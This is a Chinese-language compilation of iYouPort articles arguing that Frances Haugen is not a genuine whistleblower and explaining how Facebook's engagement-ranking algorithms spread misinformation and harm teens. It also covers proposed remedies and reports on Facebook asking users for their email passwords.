第一条线索是，豪根告诉人们的东西似乎并没有什么是人们不知道的 —— 要么是基于人们自己使用社交媒体的个人经验（难道真的还有人不明白 Facebook 通过算法操纵我们能看到什么信息吗？），要么是从《社交困境》那样的纪录片中听闻到来自硅谷的各种难民对社交媒体引领社会的方向提出的可怕警告。

我们已经讨论过那部纪录片为什么很愚蠢，甚至是危险的，并且，绝对不会将其中许多谈话者称为“吹哨人”，那么为什么豪根突然获得了那些人都不配拥有的地位？

将豪根称为“吹哨人”的真正问题在于，她立即被推到了党派政治争论的中心 —— 这是部落政治的又一个例子，已经成为后特朗普时代的一个特点。

民主党人认为豪根是个英雄，她揭发了霸道的科技公司，这些公司正在占有我们的孩子的思想，颠覆社会团结，而且还助长了危险的特朗普式妄想，为1月份国会大厦的骚乱铺平了道路。

相比之下，共和党人认为豪根是一个民主党的党徒，试图为自由派的阴谋论注入活力 —— 关于共和党人的阴谋论。在他们看来，她正在支持左翼的“取消文化”，导致保守派价值观被赶出网络公共广场。

让我们暂时把这种部落主义放在一边（之后很快就会回到这个问题上），首先考虑我们想象中的吹哨所应当涉及的内容。

豪根确实利用她作为一个权力极大的公司 —— 横跨全球的科技公司 Facebook —— 的前雇员的身份，将本应对全世界隐瞒的事情曝光。

这符合大多数人对吹哨人的基本定义。

但是，重要的是，吹哨人正在与比他们强大得多的机构对抗。这些机构将试图反击，并且在其核心利益受到威胁时以最肮脏的方式进行反击。吹哨人几乎肯定会因为他们所处的位置与他们试图追究的机构的关系而面临惨重代价。

这在最勇敢的吹哨人和协助他们的人所遭受的待遇中非常明显。一些人被起诉、入狱并几乎破产（你知道的，切尔西·曼宁、约翰·基里亚库、克雷格·默里），另一些人则被驱逐流亡，随时担心被暗杀（爱德华·斯诺登），而最不幸的人则被联合诋毁并消失在地牢中，面对175年监禁的威胁（朱利安·阿桑奇）。

正是由于他们所遭受的待遇，可以毫不怀疑所有这些人都是吹哨人。正是因为他们告诉全世界那些当权者决心隐瞒的秘密，他们才被迫经历了如此可怕的磨难。

甚至可以说，作为一条经验法则，吹哨人面临的惩罚越严重，他们在揭露本应永远处于黑暗中的东西方面对统治阶级所构成的威胁就越大。

将豪根视为吹哨人的一个问题是，她是否已经或将要为她的披露付出任何形式的代价？还不清楚。

也许更重要的是，当她求助于《60分钟》帮助她 “揭发” Facebook 时，她知道自己会有强大的盟友 —— 一直到占据白宫的那些人 —— 为她提供保护，使她免受 Facebook 的任何有可能的影响。

如果报告可信的话，她已经与代表白宫发言人珍·普萨基的公关公司签约了。

当然，豪根得到的支持并不意味着她没有引起对重要事项的关注。但这确实意味着，“吹哨” 这个概念是否是描述她所做事的一个有用的术语，值得怀疑。

这不仅仅是一个语义问题。很多事情都取决于我们如何使用这个词。

一个真正的吹哨人正试图揭示最有权势的人的隐秘，以实现问责制，并使我们的社会更加透明、安全、公平。真正的吹哨人试图在统治者和被统治者之间建立公平的竞争环境。

在国家和国际层面上，吹哨人揭露国家、公司和主要组织的罪行和不端行为，以便公民能够追究他们的责任，从而使人民能够得到授权，并使日益空洞的民主制度获得更多的民主内容。

但豪根做了一些不同的事。或者说，至少她已经被那些反对问责、反对赋予普通人权力、阻碍巩固民主体制的建制派人士所收买，不管她本人是否愿意。

为了澄清这一点，我们需要了解，在我们的社会中，有两种方式可以挑战权力：从主宰我们生活的机构、权力结构之外；或者从其内部。

这是两种不同的活动，有不同的结果 —— 对吹哨人和我们来说都是如此。

学者们经常提到“精英”，而不是一个单一的机构，以更好地把握权力的本质。而作为外部观察者，人们常常错过这一重要的观察。

机构，事实上任何主要的组织，都有可能在其内部至少有两个主要的竞争集团，除非它是完全独裁的。(即使如此，独裁政权的领导人也不得不担心阴谋和政变）

对于该组织 —— 或国家 —— 应该做什么，如何最好地管理其利益并使其成功或利润最大化，以及如何最好地保护其自身不受监督或改革的影响，都有不同的看法。组织内部的人在维持其权力的动机上是完全一致的，他们仅仅是在如何最好地实现这一目标上存在分歧。

在西方社会，这些对立的愿景通常围绕着与自由主义和保守主义价值观相关的想法。在国家的情况下，这种简单的二元对立往往被鼓励两党、两种政治选择、两套价值观的选举制度所强化。民主党与共和党；工党与保守党；等等。

当局的成功 —— 它维护其权力的方式 —— 是它可以把这两种选择说成是有意义的。

但实际上，这两种选择在很大程度上都是对现状的支持。无论你投给哪个政党，你都是在为同一个意识形态系统投票 —— 目前是新自由主义版本的资本主义。无论你如何投票，都是同一批精英继续掌权，有同样的公司资助他们，政治、媒体和商业机构之间有同样的旋转门。electnobody.com

那么，这与豪根有什么关系？

这位“Facebook 吹哨人”并没有像曼宁和斯诺登那样，帮助揭发权力结构本身的特征，或其隐藏的罪行，或其民主赤字。

她并没有背弃体制，没有揭露其最黑暗的秘密。她只是*在体制内*改变了忠诚度，在精英们为争夺统治权而不断变化的战斗中结成新的联盟。

这正是她被《60分钟》节目和其他所谓的“自由派”企业媒体如此敬重、并被民主党政客奉为圭臬的原因。她帮助他们的精英派别战胜了敌对的精英派别。

曼宁和斯诺登挑战了社会组织的根本基础，他们向作为人们生活的意识形态背景的平静的湖面投掷了一块巨石。

曼宁揭露了支持贪婪的战争工业的精英共识 —— 这些工业决心以可怕的人命为代价控制他人的资源，并打击人们口口相传的道德价值观。

同时，斯诺登表明，最终这些精英 —— 无论民主党还是共和党正式执政 —— 都把公民视为敌人，秘密监视所有人，以确保人们永远无法组织起来取代他们。

曼宁和斯诺登都威胁到了统治精英的稳固，并因此被两派人马共同诋毁。

豪根与权力的关系是不同的，只有通过了解 Facebook 是什么，才能对其有所了解。

这个科技巨头站在一场主要的精英斗争的中心：旧媒体和新媒体之间；传统的企业权力和新的数字企业权力模式之间；从不受监管的“自由” 市场中受益的精英和从监管中获得权力的精英之间。

在 Facebook 内部，也有一些争斗：一些人坚持其最初的雄心壮志，将一个无止境的互联世界货币化，让所有人都有一个在线扩音器；另一些人则希望该平台更深入地嵌入统治精英集团，为其服务。

这不是一个简单的民主党与共和党的分歧。Facebook 和其他巨头社交媒体平台 —— 以其对公共话语的喧嚣影响和放大非精英声音的能力 —— 已经产生了跨越通常的左-右界限的两极化影响。

精英之间的复杂争斗因当前共和党建制内越来越多的自由主义、自由市场的冲动（与右翼传统上对保守和家庭价值观的关注形成矛盾）和当前民主党建制内 “大政府”、身份政治的冲动（与左翼传统上对更自由、言论自由价值观的依恋形成矛盾）而进一步复杂化。

硅谷的精英们也同样跨越了这一鸿沟，有些人赞成从网上的自由竞争中获利，有些人则赞成严格监管。

豪根在 Facebook 上的所谓 “吹哨” 仅仅是她在公开表示她在这场精英竞争中偏向一方而不是另一方。她不是在为我们这些公众服务，而是在协助一组精英对抗另一组精英。

那些希望对社交媒体平台进行更多监管审查以阻止独立声音和批判性思维的政客、那些希望重新确立其对科技新贵的媒体把关权力的亿万富翁、那些希望将其数字工具深入所有人生活的硅谷幻想家，都在豪根身上找到了盟友。

她并没有威胁现状，这种现状继续掠夺地球上的有限资源，使其枯竭，在全球范围内发动无休止的资源战争，将我们的物种推向灭绝的边缘。不，她是在维护一种现状。

这就是为什么豪根不是一个真正的吹哨人，不管是勇敢的还是其他什么的。因为为真相、为人类、为生命站出来是要付出代价的。而她只是在为一个精英阶层提供支持。

📌【注】统治阶级污染吹哨人概念的常用手段有三种：

1、将揭露曝光抹黑为“盗窃”（参见阿桑奇的引渡听证会）；

2、将吹哨利用为权力斗争，即 将泄漏限制在避免威胁精英集团基本利益和统治阶级权力稳固的范围内，限制泄漏的内容，有选择地“泄漏”，甚至伪造泄漏的内容，将其变为武器以对抗内部竞争对手（参见豪根，甚至被怀疑的潘多拉文件，这也是中国最有可能使用的方式）；

3、当上述方法都无法使用时，统治阶级还可以通过伪造泄漏信息抢先一步制造混乱 —— 借助其控制的大型媒体机构，抢在吹哨人公开真正的泄漏文件之前，先公开一套假的泄漏文件；待到真正的吹哨人公布真实信息时，大众已经被虚假的信息先入为主，这时候统治阶级再一次操纵大型媒体对真正的泄漏“表示质疑”，从而在大众舆论中制造冲突。

上述列举的这些手段可能不是完整的，但它们是最有可能被使用的。请随时警惕这些手段 —— 尤其是请记得，并不是所有“泄漏”都是吹哨，真正的吹哨人完全在为了您的利益服务，您的利益永远与统治阶级的利益相悖。

📌 推荐Glenn的详细说明，关于，民主党和企业媒体并没有打算削弱Facebook，只是想要拿走 Facebook 所拥有的强大审查权力《Democrats and Media Do Not Want to Weaken Facebook, Just Commandeer its Power to Censor》

IYP的原网站和分类列表中对于 Facebook 有单独的板块，但是，下面的文字想要说明的绝非只有 **Facebook** 一家，而是希望通过本月这场吹哨热门事件，*再一次* 提醒您关于监视资本主义算法暴政的危害，即“定制人”如何威胁民主。

Facebook 的算法是如何工作的？

「图」

人们在使用 “Facebook的算法” 这个词时好像该算法只有一个，而事实上，**Facebook** 是根据数百个、也许是数千个算法来决定如何定位广告和对内容进行排序的。这些算法中，有的能找出用户的喜好，并将相关内容提升到用户的新闻提要中；其他算法则是为了检测特定类型的所谓不良内容，如裸体、垃圾邮件或点击率高的标题党，对其删除、或降低其可见度。

所有这些算法都被称为机器学习算法：

与工程师硬编码的传统算法不同，机器学习算法对输入数据进行 “训练”，以学习其中的关联性。经过训练的算法，被称为机器学习模型，然后可以使未来的决策自动化。例如，对广告点击数据进行训练的算法可能了解到，女性比男性更经常地点击瑜伽紧身裤广告。然后，由此产生的算法模型将向女性提供更多此类广告。

由于 Facebook 拥有大量的用户数据，它可以：

开发的模型不仅能推断出 “女性” 和 “男性” 这样的大类别，还能推断出 “喜欢 Facebook 瑜伽相关页面的25至34岁女性” 这样的细化类别，并向她们投放广告。定位越细，点击的机会就越大，这将给广告商带来更大的收益。

同样的原则也适用于新闻提要中的内容排名：

正如算法[可以]被训练来预测谁会点击什么广告一样，它们也[可以]被训练来预测谁会喜欢或分享什么帖子，然后给这些帖子更多的突出地位。例如，如果机器学习模型确定一个人非常喜欢狗，那么朋友们关于狗的帖子就会出现在该用户的新闻提要中的较明显位置。

这就是为 “定制人” —— 即 您不是在获取信息，而是仅仅强化了您的固有认知、偏好和偏见。具体见《算法暴政：定制人如何终结民主》。

在 Facebook 开始使用机器学习算法之前，其团队使用设计战术来提高参与度。他们会试验一些东西，如按钮的颜色或通知的频率，目的就是维持用户始终能回到其平台上。但机器学习算法创造了一个更强大的反馈循环。它们不仅可以个性化每个用户能看到什么东西，而且，还会随着用户不断变化的偏好而继续发展，永远向每个人展示能让他们最容易投入的东西。

谁掌管着 Facebook 的算法？

「图」

在 Facebook 内部，没有一个团队负责这个内容排名系统的全部工作。工程师们根据自己团队的目标，开发并在其中加入自己的机器学习模型。例如，专注于删除或降级所谓不良内容的团队，被称为“诚信团队”，将只训练检测不同类型的所谓不良内容的模型。

这是 Facebook 早期做出的决定，是其“快速行动，打破常规”文化的一部分。它开发了一个被称为 FBLearner Flow 的内部工具，使没有机器学习经验的工程师也可以很容易地开发出他们所需要的任何算法模型，供他们使用。根据一项数据，在2016年，已经有超过四分之一的 Facebook 工程团队在使用它。

许多现任和前任 Facebook 员工说，这就是为什么 Facebook 似乎无法掌握它在新闻源中向用户提供的内容的部分原因。不同的团队可能有相互竞争的目标，而且这个系统已经变得如此复杂和笨重，以至于没有人能够跟踪其所有不同的组成部分。

因此，该公司的主要质量控制过程是通过实验和测量：

团队在 FBLearner 上训练一个新的机器学习模型，无论是为了改变帖子的排序，还是为了更好地捕捉违反 Facebook 社区标准的内容。然后他们在 Facebook 的一小部分用户身上测试新模型，以衡量它如何改变参与度指标，如点赞、评论和分享的数量，2016年至2018年担任新闻源工程经理的克里希纳·盖德说。

如果一个模型减少了太多的参与，它就会被丢弃。否则，它将被部署并持续监测。在 Twitter 上，盖德解释说，当点赞或评论等指标下降时，他的工程师会每隔几天收到通知，然后，他们会解读是什么导致了这个问题，以及是否有任何模型需要重新训练。

Facebook 的内容排名如何导致了虚假信息和仇恨言论的传播？

「图」

在证词中，豪根反复提到 Facebook 的算法煽动了虚假信息、仇恨言论，甚至是种族暴力。

“Facebook …… 知道—— 他们已经公开承认—— 如果没有诚信和安全系统，基于参与的排名是危险的，但随后却没有在世界大多数语言中推出这些诚信和安全系统”，她告诉参议院说，“它正在将家庭分离；在埃塞俄比亚这样的地方，它实际上是在煽动种族暴力”。

以下是MIT之前关于这个问题的内容：

使参与度最大化的机器学习模型也有利于制造争议、错误信息和极端主义：简单地说，人们只是偏好猎奇而喜欢离谱的东西。

有时，这将激化现有的政治紧张局势。迄今为止最具破坏性的例子是缅甸的情况，在那里，关于罗兴亚穆斯林少数民族的病毒性传播的假新闻和仇恨言论使该国的宗教冲突升级为全面的种族灭绝。Facebook 在多年淡化其作用后，于2018年承认，它没有做得足够“帮助防止我们的平台被用来煽动分裂和煽动线下暴力”。

正如豪根提到的，Facebook 也知道这一点有一段时间了。之前的报道发现，至少从2016年开始，它就一直在研究这一现象。

在《华尔街日报》审阅的一份当年的内部报告中，该公司研究员 Monica Lee 发现，**Facebook** 不仅托管了大量的极端主义团体，而且还向其用户宣传这些团体。**“64%**的极端主义团体加入是由于我们的推荐工具”，文件中说，主要是由于“你应该加入的团体”和“发现”功能背后的机器学习算法模型。

2017年，Facebook 长期以来的首席产品官克里斯·考克斯(Chris Cox)成立了一个新的工作组，以了解 Facebook 上用户参与度的最大化是否导致了政治极化。它发现确实存在相关性，而减少两极分化就意味着在参与度上受到打击。在一份2018年中期的文件中，该特别小组提出了几个潜在的解决方案，例如调整推荐算法，为人们加入的团体提供更多样化的建议。但它也承认，其中一些想法是“反增长的”。大多数建议没有取得进展，该工作队也解散了。

在MIT的采访中，Facebook 员工也证实了这些发现：

一位2018年加入的前 Facebook 人工智能研究员说，他和他的团队进行了“一项又一项的研究”，证实了同样的基本想法：最大化参与度的算法模型会增加两极分化。他们可以很容易地跟踪用户对不同问题的同意或不同意程度，他们喜欢参与什么内容，以及他们的立场如何因此而改变。不管是什么问题，这些机器学习模型都学会了向用户提供越来越极端的观点。他说：“随着时间的推移，用户可衡量地变得更

加两极化”。

- 如果您错过了《技术的政治权力，和“社会困境”的缺陷：访谈》

在她的证词中，豪根还反复强调，由于 Facebook 对不同语言的覆盖不均，这些现象在不讲英语的地区要严重得多。

“就埃塞俄比亚而言，有1亿人口和6种语言。而 Facebook 只支持其中两种语言的诚信系统”，她说，“这种专注于特定语言、特定内容的系统让人工智能来拯救我们的策略注定要失败”。

她继续说，“因此，投资于不基于内容的方式来减缓平台的速度，不仅可以保护我们的言论自由，还可以保护人们的生命”。

MIT在今年早些时候的另一篇关于大型语言模型，即 LLM 的局限性的文章中对此进行了更多探讨:

尽管 **LLM** 有这些语言学上的缺陷，但 **Facebook** 还是非常依赖它们来实现其全球范围内的内容审核自动化。当埃塞俄比亚提格雷[Tigray]的战争在11月首次爆发时，人工智能伦理学研究员 Timnit Gebru 看到该平台在处理大量错误信息时陷入困境。这体现了研究人员在内容审核中观察到的一种持续模式。使用不被硅谷优先考虑的语种的社区遭受最恶劣的数字环境。

- 对此，如果您错过了《什么是语言正义运动》

下载：https://t.me/iyouport/8842

Gebru 指出，这也不是危害的终点。当假新闻、仇恨言论、甚至死亡威胁没有被审核出来时，它们就会被作为训练数据被抓取，以建立下一代的算法模型。而这些模型，鹦鹉学舌，最终在互联网上重新传播这些危害性的语言模式。

Facebook 的内容排名算法与青少年心理健康有什么关系？

「图」

该杂志的 Facebook 档案中更令人震惊的启示之一是 Instagram 的内部研究，发现其平台正在恶化年轻女孩的心理健康。“32%的少女说，当她们对自己的身体感觉不好时，Instagram 让她们感觉更糟”，研究人员在2020年3月的一份幻灯片演示中写道。

豪根将这一现象与基于参与的内容排名算法系统联系起来，她告诉参议院，“这导致青少年接触到更多的厌食症内容”。

“如果 Instagram 是这样一种积极的力量，那么在过去10年里，我们是否看到了青少年心理健康的黄金时代？并没有，我们看到的是青少年的自杀率和抑郁症率不断上升”，她继续说，“有广泛的研究支持这样的观点，即 社交媒体的使用放大了这些心理健康伤害的风险”。

在MIT报告中，一位前人工智能研究员说，他也看到这种影响延伸到了 Facebook：

该研究人员的团队 …… 发现有发布或参与忧郁内容倾向的用户——这可能是抑郁症的迹象—— 很容易陷入消费越来越多的负面材料，有可能进一步恶化他们的心理健康。

但与豪根一样，研究人员发现，该公司领导层对做出根本性的算法改变并不感兴趣。

研究小组建议调整这些用户的内容排名算法模型，不再仅仅是最大限度地提高参与度，因此他们将可以被显示更少的令人沮丧的东西。“领导层的问题是，如果你发现有人处于脆弱的心理状态，我们是否应该对参与度进行优化？”，他回忆说。

但任何降低参与度的做法，即使是出于不加剧某人的抑郁症这样的重要原因，都会导致该公司领导层的大量犹豫。由于他们的绩效考核与工资和项目的所谓成功完成挂钩，员工们很快就学会了放弃那些受到反对的项目，而继续从事那些由高层下达的工作....

与此同时，那位前雇员不再让他的女儿使用 **Facebook**。

- 技术曾经是为富人服务的。现在富人正在付钱以避免技术。如果您错过了《穷人的屏幕》

如何解决这个问题？

「图」

豪根反对拆散 Facebook 或废除美国《通信礼仪法》第230条，该条款保护科技平台对其传播的内容负责。

相反，她建议在第230条中为算法排名划出一个更有针对性的豁免，她认为这将 “摆脱基于参与的排名”。她还主张恢复 Facebook 的按时

间顺序排列的新闻源。

研究社交媒体排名算法系统及其对人权影响的非营利组织 “数字权利排名” 的项目主任埃勒里·罗伯茨·比德尔（Ellery Roberts Biddle）说，第230条的例外规定需要仔细审查：“我认为这将有一个狭义的含义。我不认为它能达到我们所希望的效果”。

她说，为了使这种例外规定具有可操作性，政策制定者和公众需要对 Facebook 的广告定位和内容排名系统的运作有更大的透明度：“我理解豪根的意图 —— 这很有意义。但这很难实现。我们实际上并没有回答围绕算法的透明度问题。还有很多事要做”。

尽管如此，豪根的揭露和证词至少可以使人们重新关注许多专家和 Facebook 员工多年来一直在说的话：除非 **Facebook** 改变其算法的基本设计，否则解决方案不会对该平台的问题产生任何有意义的影响。

仅仅批评 Facebook 所做的事是不够的，必需强调它为什么会这样做

「图」

思考 Facebook 以及如何处理它意味着要处理两组相互冲突的事实。一个是 Facebook 是一个很有用的交流、新闻发布、经济活动等目的的平台，全世界有数十亿人依赖它；另一个是，Facebook 是一个高度成瘾的、追求利润的实体，它利用和操纵人类心理来赚钱，给社会其他部分带来可怕的结果。

该公司再次成为新闻焦点，现在正处于地狱般的一周结束之际，这要归功于一名前雇员的爆炸性披露，该雇员心灰意冷，向公众泄露了大量的内部文件。吹哨人弗朗西斯·豪根一事的关键在于此：**Facebook** 很清楚其平台的各种危害和危险，但一直没有纠正这些问题，因为这与公司的持续增长和利润相冲突。

如前文所显示的，该公司的研究人员自己认定，Facebook 旗下的 Instagram 对少女有心理上的伤害；另一项研究发现，该公司在2018年对其算法进行了调整，声称促进 “有意义的社会互动”，即MSI，这反而激励了基于愤怒、社会分裂、暴力和胡说八道的帖子和内容。还有人指出，Facebook 故意以儿童为目标，想方设法让孩子尽早上钩，而且它在删除明知是贩毒集团和人贩子所发布的帖子时拖拖拉拉。

为了解决 Facebook 的问题，人们提出了许多解决方案，比如利用反垄断法将其瓦解，修改第230条，允许科技公司因其平台上发布的内容而被起诉，或者如豪根向国会建议的那样，要求该公司提高透明度并建立一个监管委员会。但是，这些文件中披露的大部分内容，为该公司和其他类似的事实上的垄断企业应该被视为公用事业、甚至被纳入公有制的论点增加了砝码。

这些文件清楚地表明，正如豪根告诉国会的那样，当 Facebook 遇到其利润和人们的安全之间的冲突时，它 “一直在以支持他们自己的利润为唯一目标解决这些冲突”。**Facebook** 知道它的平台对孩子不好，但为了继续发展，它需要吸引这些孩子，让他们在成年后成为其用户群的一部分，并让这些孩子把他们的父母带入其中。“他们 [孩子们] 是有价值但尚未被开发的受众群”，**2020**年的一份内部文件中提到了青少年，该公司研究青少年，策划新产品以抓住他们，并讨论了 “把玩伴作为增长杠杆” 的想法。

Facebook 很明白，提升 MSI 可能会助长用户之间的分裂、谩骂和各种不健康的行为，但不这样做意味着参与度降低，因此，可能会减少该公司的利润。当一位员工建议通过取消算法对热门用户发布内容的优先级来处理错误信息和愤怒时，她写道，马克·扎克伯格不会这样做的，“只要是对MSI利润有实质性影响的提议都不会被采纳”。当研究人员建议该公司调整其算法，以便算法不会将用户送入更深、更极端的偏执，比如对健康食谱的兴趣很快就会导致厌食症的内容，高层由于担心限制用户参与而忽略这些建议。

“我所说的很多变化并不会使 Facebook 成为一家不赚钱的公司”，豪根在国会说，“它只是不会像今天这样成为一个荒唐的盈利公司”。

就像技术公司通过制造几年后就会坏掉的设备来推动销售一样，正是 **Facebook** 对增长和更大利润的渴望，促使它不愿意负责任地行事。

【注：这里讽刺的是以苹果为代表的电子设备制造商。如果您错过了《苹果卖的究竟是什么？这个时代最关键的不是技术，而是心理学》】

将这些激励因素从等式中剔除似乎是不费吹灰之力的，特别是在这些平台具有像铁路和电信一样的 “自然垄断” 地位的情况下。

- 更多相关内容见《技术巨头不是烟草巨头，至少不仅仅是》

如果一个公司是公有的，或者仅仅是一个受到严格监管的公用事业公

司，它就不需要在资本主义的增长和过度追求利润的逻辑下工作，而这种逻辑助长了这些问题。如果其用户群不再需要它或关心它，它也就不需要继续生存了。

对于 Facebook 的私人所有者马克·扎克伯格（Mark Zuckerberg）来说，该公司在年轻人中已经过时，主要由30岁以上的人使用，这可能是一个问题，但对于一个政府不情愿地将其国有化的公用事业来说，这并不是什么问题，因为其用户是多么依赖它。事实上，这听起来像是一个现成的解决方案，因为大多数人都同意，这个平台充其量是令人上瘾和不健康的。

如果年轻一代不关心 Facebook 的生存，我们为什么要强迫他们有其他想法？如果人们在被劝说取消所有关注并清空他们的新闻源时会更加快乐，我们为什么要进行报复，就像 Facebook 最近对相关工具创建者所做的那样？

当然，还有许多实际问题需要解决。首先，Facebook 可能是一家美国公司，但其类似于公用事业的服务是向全球提供的，因此，关于一个公有的或受监管的 Facebook 究竟会是什么样子，确实存在一些问题 —— 比如“哪些公众？”或“由谁监管？”

同样，任何这样的计划都必须有严格的监督和民主控制，以免该平台进行的剥削和操纵大权只是从私营部门转移到了政府 —— 但请记住，通过其监控计划和网络行动，全世界很多政府都已经在使用 **Facebook** 这样的平台来收集和存储全世界用户的数据，并操纵人们能看到什么样的信息。【在我们的 列表-2“公私监控伙伴关系”中看到更多具体内容】

也许到最后，正确的前进道路将是所有这些解决方案的某种组合，包括打破这些垄断和将它们的一部分置于公共所有权之下。

但是，如果确切的解决方案还不清楚，那么可以肯定的是，目前的状况是无法维持的。除了豪根泄密事件所强调的问题外，人们早就知道该社交媒体平台和其他科技创新对我们来说是不健康的，它们被故意设计成令人上瘾，以至于负责它们的软件工程师和科技大亨都避免自己和自己的孩子使用自己的作品。【更多见《穷人的屏幕》】

也许有一种方法可以将社交媒体及其最有用的功能保留在我们的生活中，同时摆脱其最恶毒的特征；或者整个社交媒体将被证明是一个错误，从根本上不符合人类大脑的工作方式。但要找出答案，我们至少要尝试一些不同的东西。

可悲的是，这并不是《华尔街日报》系列的大部分文章、国会的大多数人、以及其他新闻机构在对这一泄密事件作出反应时所指向的解决方案。可以预见的是，这条新闻只是产生了要求这些科技公司加强“内容审核”的呼声，也就是鼓吹审查制度，以此来防止各种虚假信息的传播，或阻止平台“促成危险的社会运动”，正如豪根指责他们的那样。

具有讽刺意味的是，尽管这些文件本身表明审查制度作为解决这些问题的方法是极为愚蠢的。该系列的第一个报道是关于 Facebook 如何创建了一个由数以万计的高知名度账户组成的“白名单”，使他们在发布会让其他普通用户受到审查、暂停或被永久禁止的内容时不受审查。与此同时，该公司的审查员还对低知名度级别的用户下手，删除完全无害的帖子或那些被审查员误解的信息，包括今年早些时候以色列镇压巴勒斯坦人期间被封锁的阿拉伯语新闻机构和活动家。这些平台已经多次表明，他们不能被信任可以准确和负责任地调节内容，就在本周，人权观察关于其压制巴勒斯坦内容的报告中记录了这一点。

这种反应是 Olivier Jutel 所称的技术简化主义的长期趋势的一部分：认为科技公司及其产品不仅对我们有害和不健康，而且对过去几年中发生的每一件你能想到的坏事都负有责任。在决定如何处理这个问题时（并选择审查制度作为前进的方向），我们有可能忽略了推动我们当前世界动荡的更广泛的政治、经济和社会因素，而将其归咎于社交媒体近乎神秘的力量。Facebook 真的是对1月6日国会大厦骚乱的唯一责任者吗？还是说它只是众多有用的工具中的一个，使参与者能够为该事件组织起来，而这些参与者是被经济失调和大部分精英和主流媒体兜售的关于选举的谎言所驱使？

豪根告诉华尔街日报，她站出来的动机是看到她的一个自由派朋友在花了“越来越多的时间阅读在线论坛”（奇怪的是，不是Facebook）之后，被描述为“混合了神秘主义和白人民族主义”的邪恶妄想所笼罩，最终导致了友谊的结束。然而，人们经常遇到或消费宣传品、更不用说简单地使用社交媒体和互联网，从而走上类似的道路。不幸的是，我们从未发现豪根的朋友被吸入这种谎言的瘴气中的根本性因素是什么，我们也没有发现是什么导致他后来放弃了这些信念。虚假信息一直在世界范围内泛滥；找到这些问题的答案将有助于我们理解为什么它在这个时代似乎特别强大。

必须拒绝大规模审查的解决方案并不意味着我们无能为力。对 Facebook 的算法、设计、中心任务和资源配置可以做出明显的改变，使其更接近于它所宣称的“真正的公共服务”，而不是像虚无主义、以盈利为目的的巨无霸，而且这些改变都不会威胁到我们自由发

言的权利，也不会扰乱我们与亲人保持联系、组织活动或使用此类平台的其他有用功能。谁知道呢，我们甚至可能偶尔会觉得想要注销。○

📌 尤其推荐阅读 The Intercept 的这篇文章，它提供了之前隐藏的细节，说明了 **Facebook** 如何将无政府主义团体与武装民兵组织等同起来 —— 以及 **Facebook** 的政策如何不成比例地针对已经被边缘化的人群。《REVEALED: FACEBOOK'S SECRET BLACKLIST OF "DANGEROUS INDIVIDUALS AND ORGANIZATIONS"》

The Facebook whistleblower says its algorithms are dangerous. Here's why.

Facebook Harms Its Users Because That's Where Its Profits Are

原文

交出你的密码 - iYouPort

关于Facebook-这不只是一家公司

关于 **Facebook** 的脏事儿可能对您来说已经不足为奇了。但这件事的确需要关注，尤其是在 **IYP** 刚刚倡议的角色扮演活动之后。他们为什么想要你的邮箱密码

「图」

「图」

关于 Facebook 的脏事儿可能对您来说已经不足为奇了。但这件事的确需要关注，尤其是在 IYP 刚刚倡议的角色扮演活动之后。详见《分裂人格的魅力》

Facebook 要求一些新用户提供其电子邮件帐户的密码—— 这是一个严重的安全问题。

通常，安全专家都是敦促人们不要共享他们的密码或将其输入到预期的服务之外的任何服务中，以避免用户的密码和个人信息被盗而导致的“网络钓鱼攻击”的风险。

但在 Facebook 上，当用户尝试注册某些电子邮件提供商（包括 Yandex 和 GMX）时，它会要求直接在 Facebook 中输入密码来“确认您的电子邮件地址”，正如之前由 The Daily Beast 报道的那样。这个问题最初是由匿名 Twitter 用户 e-sushi 发现的。

其他电子邮件提供商（如 Google 的 Gmail）用户看不到该选项，因为它使用授权工具 OAuth—一种安全验证身份的常用工具，无需您在此处输入密码。

Business Insider 还发现，如果新用户选择将他们的电子邮件帐户密码输入 Facebook，则弹出窗口显示 Facebook 正在“导入联系人”——尽管没有询问用户是否允许这样做。目前还不清楚这个工具是否实际导入了这些联系人，因为它显然没有提取媒体为测试目的而制作的联

系人列表条目，尽管导入只需要几分钟的时间。

Facebook 发言人表示，该公司现已停止使用该功能，但该公司没有提供使用它的时间表。

贝尼特·塞普尔斯（Bennett Cyphers）是电子前沿基金会（Electronic Frontier Foundation）倡导组织的安全研究员，他对 Facebook 的行为提出了严厉的批评："这基本上与网络钓鱼攻击没什么区别了，"他在电话中说，并指出安全专家通常敦促人们永远不要将密码提供给他们使用的网站以外的任何人。

"这种行为在很多层面上都很糟糕。欺骗人们上传关于他们的联系人的数据作为注册资格的疯狂尝试。即使你同意将联系人信息上传到 Facebook，你也不应该输入你的电子邮件密码"。

他写道："任何公司都不应该向人们要求这样的信息，你不应该相信任何人。这违背了所有传统的安全基础、基本体面和常识。"

Have I Been Pwned 的运营商 Troy Hunt 说，"这肯定是一种反安全的模式，因为它涉及将一个平台（电子邮件提供商）的秘密与另一个平台（Facebook）共享"。

"虽然 Facebook 可能会采取预防措施来保护电子邮件帐户密码，但是当有一个简单的替代方案（即他们使用 Gmail 帐户采取的方法）时，这样做完全没有必要，并确实是在迫使人们参与冒险行为"。

密码输入表格表示密码不是由 Facebook 存储的，但没有办法独立审核因而无法确认。最近发现，该公司"以纯文本形式存储了数亿用户的密码"，违反了广泛的安全实践。

一位 Facebook 发言人说："这些密码不是由 Facebook 存储的。一小部分人可以选择在他们第一次注册 Facebook 时输入他们的电子邮件密码来验证他们的帐户。人们总是可以选择通过发送到手机的代码或发送到他们电子邮件的链接来确认他们的帐户。"

总之，不要使用 Facebook 创建您的假名角色身份，我们不知道还有多少奇怪的行为和内幕尚未被揭晓。

同时，研究公司 UpGuard 的一份报告显示，已发现两组用户数据已暴露给所有人。第一套数据文件大小约为146GB，拥有超过**5.4**亿用户的数据，包括评论、点赞、反应、帐户名、Facebook ID 等信息。第二套数据包含 Facebook 应用程序的数据备份，被称为 At The

Pool，被发现在亚马逊的基于云的存储 Amazon S3 上。它还以明文存储了大约 **22,000** 个用户的密码。

原文

仅仅删除 Facebook 无法终止被追踪 - iYouPort

关于Facebook-这不只是一家公司

Facebook 是如何消灭竞争对手的？为什么仅仅删除 Facebook 无法终止被追踪？如何测试自己被收集的数据有哪些？

Facebook 过去几年已经发展成为一个包含 VR 硬件，移动消息应用，社交网络、广告在内的庞大帝国，扎克伯格都很难给出它单一竞争对手的名字，因为它不只是拥有一款产品，而是有多款非常受欢迎的产品，每一款都有相应的主要竞争对手，结果就是整体上没有对手…

扎克伯格在参议院接受了长达五小时的质询，他说 Facebook 有很多竞争对手，但难道说哪一个是最大竞争对手。他说，FB 的竞争对手包括了 Google、Apple、Amazon 和 Microsoft，这些公司的部分产品和服务与 FB 有重叠……他依旧否认 Facebook 是垄断者。呵呵，他当然会否认。

